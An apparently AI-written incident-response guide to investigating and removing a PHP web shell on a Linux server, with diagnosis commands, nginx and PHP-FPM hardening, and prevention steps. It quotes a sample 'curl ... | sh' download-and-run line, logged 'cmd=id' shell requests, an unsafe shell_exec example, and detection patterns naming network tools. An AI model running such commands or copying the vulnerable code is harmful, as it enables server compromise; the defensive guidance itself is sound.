Investigating a Web Shell on a Linux Application Server

TL;DR — If you suspect a web shell, treat the host as compromised immediately: preserve evidence, identify the executing process and persistence, then isolate the server before cleanup. The single most common fix is to remove the uploaded shell, patch the vulnerable upload/RCE path, rotate credentials from a clean host, and rebuild the server rather than "cleaning" it in place. Reading time: ~7 min

The scenario

It is 14:20 on a Tuesday. You get a message from support that the app is "randomly slow," and your nginx access log shows requests to /uploads/.cache.php, /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, and a few POSTs with weird cmd= parameters. The app still serves traffic, but outbound connections from the box have spiked and www-data suddenly owns files under /tmp and the web root. You need to answer three questions fast: is this a web shell, what did it touch, and can you contain it without destroying the evidence you need.

Symptoms

• Unexpected files in web-accessible paths, often with recent mtimes:

find /var/www -type f -mmin -120 \( -name "*.php" -o -name "*.phtml" -o -name "*.jsp" \) -ls | tail

131402 4 -rw-r--r-- 1 www-data www-data  87 Oct 30 13:58 /var/www/app/public/uploads/.cache.php
131418 4 -rw-r--r-- 1 www-data www-data 412 Oct 30 14:01 /var/www/app/public/assets/shell.phtml

• Access log requests to odd paths or command-like query strings:

grep -E "cmd=|exec=|base64_|eval\(|assert\(|/uploads/.*\.(php|phtml)|phpunit|wso|c99" /var/log/nginx/access.log | tail -5

203.0.113.44 - - [30/Oct/2026:14:03:11 +0000] "POST /public/uploads/.cache.php?cmd=id HTTP/1.1" 200 39 "-" "curl/8.7.1"
203.0.113.44 - - [30/Oct/2026:14:03:14 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 200 0 "-" "python-requests/2.32.0"

• PHP-FPM, Apache, or app logs showing command execution, writable web root, or disabled-function bypass attempts:

journalctl -u php8.3-fpm -S -2h | tail -20

Oct 30 14:02:55 app-01 php-fpm[2142]: WARNING: [pool www] child 9183 said into stderr: "NOTICE: PHP message: sh: 1: uname: not found"

• Suspicious child processes under the web server user:

ps -eo pid,ppid,user,etime,cmd --forest | egrep "(nginx|apache2|httpd|php-fpm|www-data|nginx).*?(sh|bash|curl|wget|nc|python|perl)"

9183 2142 www-data 00:07 /bin/sh -c curl -fsSL http://198.51.100.7/a.sh | sh

• Outbound connections from the app server to unknown IPs:

ss -tpn | egrep "(php-fpm|apache2|nginx|httpd|www-data)"

ESTAB 0 0 10.0.2.15:47012 198.51.100.7:443 users:(("php-fpm",pid=9183,fd=7))

• Cron/systemd persistence created recently:

systemctl list-timers --all; crontab -l -u www-data; ls -la /etc/cron.* /var/spool/cron/crontabs 2>/dev/null

Likely causes

Step-by-step diagnosis

1. Confirm whether the shell is still reachable.

curl -i --max-time 5 "http://127.0.0.1/public/uploads/.cache.php?cmd=id" -H 'Host: your-app.example.com'

This is your problem if you get HTTP/1.1 200 OK and command output like uid=33(www-data) gid=33(www-data). Jump to Fixes → Vulnerable file upload allowed executable script into web root or Known RCE path exposed depending on path.

1. Identify the file and its owner, mtime, and neighbors.

stat /var/www/app/public/uploads/.cache.php; ls -la /var/www/app/public/uploads | tail -20

This is your problem if the file is owned by www-data, has a recent mtime, or sits beside image uploads with a script extension. Jump to Fixes → Vulnerable file upload allowed executable script into web root.

1. Check for active execution and outbound traffic.

ps -eo pid,ppid,user,lstart,cmd --forest | egrep "(www-data|nginx|apache2|httpd|php-fpm).*?(sh|bash|curl|wget|nc|python|perl)"; ss -tpn

This is your problem if a web worker spawned a shell or has active connections to unknown IPs. Jump to Fixes → Persistence via cron/systemd/tmpfs after initial compromise after containment.

⚠️ Killing processes or blocking egress can interrupt live traffic and destroy volatile evidence. If you need forensics, capture process/network state first.

1. Capture high-value volatile evidence before changing the host.

mkdir -p /root/ir-$(date +%F-%H%M); cd /root/ir-$(date +%F-%H%M); ps auxwwf > ps.txt; ss -tpna > ss.txt; lsof -nP > lsof.txt; journalctl -S -4h > journal.txt; tar -czf webroot.tgz /var/www/app/public/uploads /tmp /dev/shm 2>/dev/null

If you find suspicious binaries/scripts in /tmp, /dev/shm, or uploaded paths, jump to the matching fix section. Keep this bundle off-host.

1. Check the web server and PHP config for executable upload paths.

grep -RInE "location .*upload|php_admin_value\[open_basedir\]|security.limit_extensions|fastcgi_pass|AddHandler|SetHandler" /etc/nginx /etc/apache2 /etc/php* 2>/dev/null

This is your problem if nginx/Apache will pass uploaded .php/.phtml files to PHP-FPM, or PHP-FPM allows risky extensions. Jump to Fixes → Vulnerable file upload allowed executable script into web root or Weak file permissions let the web user write into served code paths.

1. Look for known exposed RCE endpoints and stale dependencies.

find /var/www -path "*phpunit*" -o -name "adminer.php" -o -name "setup.php" -o -path "*vendor*" | head -50

This is your problem if vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php or similar is present under a served path. Jump to Fixes → Known RCE path exposed.

1. Search the app code for direct command execution and eval patterns.

grep -RInE "(system\(|exec\(|shell_exec\(|passthru\(|proc_open\(|popen\(|eval\()" /var/www/app 2>/dev/null

This is your problem if the match is in request-handling code, template helpers, or admin actions reachable from HTTP. Jump to Fixes → App-level command injection or unsafe eval/templating.

1. Check write permissions on served code paths.

namei -om /var/www/app/public /var/www/app/current; find /var/www/app -maxdepth 3 -type d -perm -002 -ls

This is your problem if the web user can write to directories that are served or executed. Jump to Fixes → Weak file permissions let the web user write into served code paths.

1. Check auth logs and deploy paths for direct file drops.

grep -E "Accepted (publickey|password)|session opened|sftp-server|scp" /var/log/auth.log /var/log/secure 2>/dev/null | tail -100

This is your problem if an unexpected login or CI key wrote files around the shell's mtime. Jump to Fixes → Stolen deploy/SFTP/CI credentials used to drop shell directly.

Fixes

Vulnerable file upload allowed executable script into web root

1. Isolate the host from the load balancer or security group.
2. Remove execute handling from upload paths. For nginx:

location ^~ /uploads/ {
    autoindex off;
    types { }
    default_type application/octet-stream;
    try_files $uri =404;
}
location ~ ^/uploads/.*\.(php|phtml|phar)$ { return 403; }
location ~ \.php$ {
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_pass unix:/run/php/php8.3-fpm.sock;
}

Reload:

nginx -t && systemctl reload nginx

1. Move uploads outside the document root and serve via app or internal alias.
2. Delete the shell and neighboring dropped files only after evidence capture:

rm -f /var/www/app/public/uploads/.cache.php /var/www/app/public/assets/shell.phtml

Verify it worked:

curl -i "http://127.0.0.1/public/uploads/.cache.php?cmd=id" -H 'Host: your-app.example.com'

Expect 403 or 404, not 200.

Known RCE path exposed

Remove the exposed artifact from the served tree and redeploy production-only dependencies.

find /var/www/app -path "*phpunit*" -o -name "adminer.php" -o -name "setup.php" -print
rm -rf /var/www/app/current/vendor/phpunit
composer install --no-dev --prefer-dist --optimize-autoloader

If your deploy symlinks releases, rebuild a fresh release and switch the symlink instead of editing in place. Also block direct access at the web server:

location ~ ^/(vendor|tests|\.git|composer\.(json|lock)) { return 404; }

Verify it worked:

curl -i "http://127.0.0.1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" -H 'Host: your-app.example.com'

Expect 404.

App-level command injection or unsafe eval/templating

Patch the code path, then redeploy from a clean commit. Replace shell-outs with library calls or strict allowlists. Example bad PHP:

$output = shell_exec("convert " . $_GET['file']);

Safer pattern:

$allowed = ['/usr/bin/convert'];
$file = realpath($inputFile);
if ($file === false || !str_starts_with($file, '/srv/app/uploads/')) { http_response_code(400); exit; }
$cmd = ['/usr/bin/convert', $file, $dest];
$proc = proc_open($cmd, [1 => ['pipe', 'w'], 2 => ['pipe', 'w']], $pipes, null, []);

If you cannot patch immediately, disable the route behind the reverse proxy with a temporary return 403; block. Verify it worked:

grep -RInE "(system\(|exec\(|shell_exec\(|passthru\(|proc_open\(|popen\(|eval\()" /var/www/app 2>/dev/null

Expect only reviewed, intentional usages or none.

Weak file permissions let the web user write into served code paths

Set ownership so deploy user owns code, web user can read but not write.

chown -R deploy:www-data /var/www/app
find /var/www/app -type d -exec chmod 755 {} +
find /var/www/app -type f -exec chmod 644 {} +
chmod -R u+w /var/www/app/storage /var/www/app/var
setfacl -R -m u:www-data:rX /var/www/app/current
setfacl -R -m u:www-data:rwX /var/www/app/storage /var/www/app/var

For PHP-FPM, restrict script extensions:

; /etc/php/8.3/fpm/pool.d/www.conf
security.limit_extensions = .php

Reload:

systemctl reload php8.3-fpm

Verify it worked:

sudo -u www-data touch /var/www/app/public/test-write

Expect Permission denied.

Stolen deploy/SFTP/CI credentials used to drop shell directly

From a clean admin host, rotate every credential that touched this server: SSH keys, deploy tokens, CI secrets, app secrets, database passwords, cloud instance role credentials if applicable. Disable unexpected authorized keys:

sed -n '1,200p' /home/deploy/.ssh/authorized_keys
vi /home/deploy/.ssh/authorized_keys
passwd -l deploy

Review shell history and CI logs, then rebuild the host from a known-good image and redeploy. Do not trust the existing box after credentialed compromise. Verify it worked:

ssh -i old_key deploy@app.example.com

Expect authentication failure.

Persistence via cron/systemd/tmpfs after initial compromise

Remove malicious timers, cron entries, and tmpfs droppers after evidence capture.

systemctl list-unit-files --type=service --state=enabled
find /etc/systemd/system /lib/systemd/system /var/spool/cron /etc/cron.* /tmp /dev/shm -mmin -1440 -ls 2>/dev/null
systemctl cat suspicious.service
crontab -l -u www-data

Delete and reload:

systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.service
rm -f /tmp/.x /dev/shm/.sess_* 
crontab -r -u www-data
systemctl daemon-reload

Verify it worked:

systemctl list-timers --all; crontab -l -u www-data

Expect no suspicious entries.

Prevention

• Block script execution in upload paths at the web server and test it in CI.

curl -s -o /dev/null -w "%{http_code}\n" -F 'file=@tests/fixtures/eicar.php;type=application/octet-stream' https://staging.example.com/uploads/eicar.php

Fail the pipeline unless the result is 403 or 404.

• Deploy production dependencies only, and fail builds if dev tools are in the served artifact.

composer install --no-dev --prefer-dist --optimize-autoloader
find public -path "*vendor/phpunit*" -o -name "adminer.php" -o -name "setup.php" && exit 1

• Add file integrity monitoring on served code paths and tmpfs.

find /var/www/app/current /tmp /dev/shm -type f -printf '%TY-%Tm-%Td %TT %u %g %m %p\n' | sort > /var/lib/app/baseline-files.txt

Alert on new *.php, *.phtml, *.phar, *.jsp, or executable files outside the deploy process.

• Alert on suspicious child processes from web workers.

ps -eo user,ppid,pid,cmd | egrep "^(www-data|nginx|apache|httpd).*(curl|wget|nc|bash|sh|python|perl)"

Run this from your host monitor and page on non-empty output.

• Restrict egress from app servers to only required destinations. At minimum, block arbitrary outbound internet from the web tier and allow only package mirrors, object storage, SMTP relay, and upstream APIs you actually use.
• Rebuild compromised hosts instead of cleaning in place. Your post-incident checklist should include: snapshot for evidence, rotate secrets from a clean machine, provision a new instance, redeploy, then destroy the old one.

[Internet] ---- 1. exploit/upload ----> [Web Server]
[Web Server] ---- 2. execute shell ----> [PHP-FPM/App]
[PHP-FPM/App] ---- 3. spawn sh/curl ----> [Outbound C2]
[PHP-FPM/App]
|
v
[cron/systemd/tmpfs persistence]

This article was written by an AI system and published pending human review. Verify anything you intend to act on.